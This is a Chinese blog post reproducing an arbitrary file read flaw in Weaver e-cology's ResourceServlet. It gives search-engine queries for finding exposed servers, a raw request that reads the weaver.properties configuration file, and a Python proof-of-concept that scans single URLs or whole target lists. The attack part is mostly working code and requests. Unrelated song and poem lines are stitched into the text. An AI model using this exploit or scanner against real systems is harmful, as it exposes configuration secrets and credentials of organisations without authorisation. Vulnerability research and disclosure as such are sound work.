【漏洞复现】泛微e-cology——resourceservlet——任意文件读取

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录


漏洞描述

泛微e-cology是一款由泛微网络科技开发的协同管理平台,支持人力资源、财务、行政等多功能管理和移动办公解决方案。其resourceservlet接口存在任意文件读取漏洞,未授权攻击者可以利用其读取网站配置文件等敏感信息。

漏洞复现

1)信息收集

fofa:app="泛微-OA(e-cology)"

hunter:app.name="泛微 e-Cology协同商务系统"

隔着人潮呼救像只困兽,呼吸颤抖去泪流,去相拥。

2)构造数据包

python 复制代码
GET /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties HTTP/1.1
Host:ip

代码解释:

python 复制代码
org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties

这个payload是一个Web应用程序中的URL请求路径,它用于访问Spring框架中的ResourceServlet来获取资源。下面是对这个payload的分析:

  1. org.springframework.web.servlet.ResourceServlet:这是Spring框架中的一个Servlet类,ResourceServlet用于处理静态资源的请求。

  2. ?resource=/WEB-INF/prop/weaver.properties:这是一个查询参数,指定了要请求的资源路径。在这个例子中,它指向了/WEB-INF/prop/weaver.properties路径。

    • /WEB-INF/:这是Java EE规范中定义的一个目录,用于存放Web应用程序的类、配置文件等资源,通常不对客户端直接暴露。
    • /prop/:这是一个自定义的目录,用于存放属性文件或配置文件。
    • weaver.properties:这是一个属性文件,可能包含了应用程序的配置信息。

如果这个payload能够被执行,它可能暴露了应用程序的敏感配置信息,因为/WEB-INF/目录通常不应该对客户端可见。

回显包含配置信息,存在任意文件读取漏洞。

测试工具

poc

python 复制代码
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import argparse
from requests.exceptions import RequestException
from urllib3.exceptions import InsecureRequestWarning

# 打印颜色
RED = '\033[91m'
RESET = '\033[0m'

# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    """
    检查给定URL是否存在泛微OA E-Cology资源读取漏洞。
    
    :param url: 要检查的URL
    """
    try:
        # 构造攻击URL,尝试读取敏感文件
        attack_url = url.rstrip('/') + "/weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties"
  
        # 发送GET请求并忽略证书验证
        response = requests.get(attack_url, verify=False, timeout=10)
  
        # 检查响应状态码和内容,确认漏洞存在
        if response.status_code == 200 and 'ecology' in response.text:
            print(f"{RED}URL [{url}] 泛微OA E-Cology resourceservlet 文件读取漏洞。{RESET}")
        else:
            print(f"URL [{url}] 未发现漏洞。")
    except RequestException as e:
        # 请求异常处理
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    程序主入口,负责解析命令行参数并调用漏洞检查函数。
    """
    parser = argparse.ArgumentParser(description='检查目标URL是否存在泛微OA E-Cology resourceservlet 文件读取漏洞。')
    parser.add_argument('-u', '--url', help='指定目标URL')
    parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')

    args = parser.parse_args()

    if args.url:
        # 如果URL未以http://或https://开头,则添加http://
        args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
        check_vulnerability(args.url)
    elif args.file:
        # 处理文件参数,读取文件中的每个URL并检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 确保URL以http://或https://开头
                url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

运行截图


滚滚长江东逝水,浪花淘尽英雄。

相关推荐
白帽子黑客罗哥12 小时前
零基础使用网络安全工具的方法
安全·web安全·网络安全·渗透测试·漏洞挖掘·工具
白帽子黑客杰哥14 小时前
零基础学习网络安全,如何安排每天的学习计划?需要重点攻克哪些核心技能点?
学习·安全·web安全·渗透测试·人才培养·网络安全培训
白帽子黑客杰哥15 小时前
推荐一些适合零基础学习网络安全的具体在线课程或书籍?
学习·安全·web安全·网络安全·渗透测试
无名修道院2 天前
XSS 跨站脚本攻击:3 种类型(存储型 / 反射型 / DOM 型)原理以 DVWA 靶场举例
前端·网络安全·渗透测试·代码审计·xss
白帽子黑客罗哥2 天前
渗透测试技术:从入门到实战的完整指南
网络·安全·web安全·渗透测试·漏洞挖掘·网络安全培训
白帽黑客-晨哥3 天前
网络安全怎么考公?
web安全·网络安全·信息安全·渗透测试·考公
白帽黑客-晨哥3 天前
湖南网安基地:构筑网络安全人才培养新高地
web安全·网络安全·渗透测试·就业·湖南网安基地·安服
bleach-3 天前
buuctf系列解题思路祥讲--[网鼎杯 2020 青龙组]AreUSerialz1——文件包含漏洞,PHP代码审计,php伪协议,php反序列化
开发语言·安全·web安全·网络安全·渗透测试·php
白帽子凯哥哥3 天前
转行网络安全学习计划与报班建议
学习·安全·web安全·网络安全·渗透测试·漏洞挖掘·网安培训
无名修道院5 天前
DVWA 靶场搭建:Windows11(phpstudy 搭建)(步骤 + 截图 + 常见问题)
数据库·网络安全·渗透测试·靶场·php·dvwa·phpstudy